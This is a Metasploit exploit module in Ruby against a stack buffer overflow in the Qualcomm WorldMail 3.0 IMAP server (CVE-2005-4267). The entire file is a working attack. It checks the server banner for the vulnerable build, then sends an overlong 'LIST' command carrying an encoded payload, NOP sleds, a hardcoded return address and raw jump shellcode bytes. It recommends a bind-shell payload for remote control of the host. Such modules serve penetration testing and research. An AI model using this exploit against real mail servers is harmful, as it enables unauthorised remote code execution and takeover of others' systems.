## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Imap def initialize(info = {}) super(update_info(info, 'Name' => 'Qualcomm WorldMail 3.0 IMAPD LIST Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in the Qualcomm WorldMail IMAP Server version 3.0 (build version 6.1.22.0). Using the PAYLOAD of windows/shell_bind_tcp allows or the most reliable results. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2005-4267'], [ 'OSVDB', '22097'], [ 'BID', '15980'], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 750, 'BadChars' => "\x00\x0a\x20\x0d\x7b", 'StackAdustment' => -3500, 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, }, 'Platform' => 'win', 'Targets' => [ [ 'WorldMail 3 Version 6.1.20', { 'Ret' => 0x10022187 } ], # msremote.dll ], 'DisclosureDate' => 'Dec 20 2005', 'DefaultTarget' => 0)) end def check connect disconnect if (banner and banner =~ /WorldMail 3 IMAP4 Server 6.1.22.0 ready/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect jmp = "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2f\x77\x28" jmp << "\x4b\x83\xeb\xfc\xe2\xf4\xf6\x99\xf1\x3f\x0b\x83\x71\xcb\xee\x7d" jmp << "\xb8\xb5\xe2\x89\xe5\xb5\xe2\x88\xc9\x4b" sploit = "a001 LIST " + rand_text_alpha_upper(20, payload_badchars) sploit << payload.encoded + "\xeb\x06" + make_nops(2) + [target.ret].pack('V') sploit << make_nops(8) + jmp + rand_text_alpha_upper(40, payload_badchars) sploit << "}" + "\r\n" sock.put(sploit) handler disconnect end end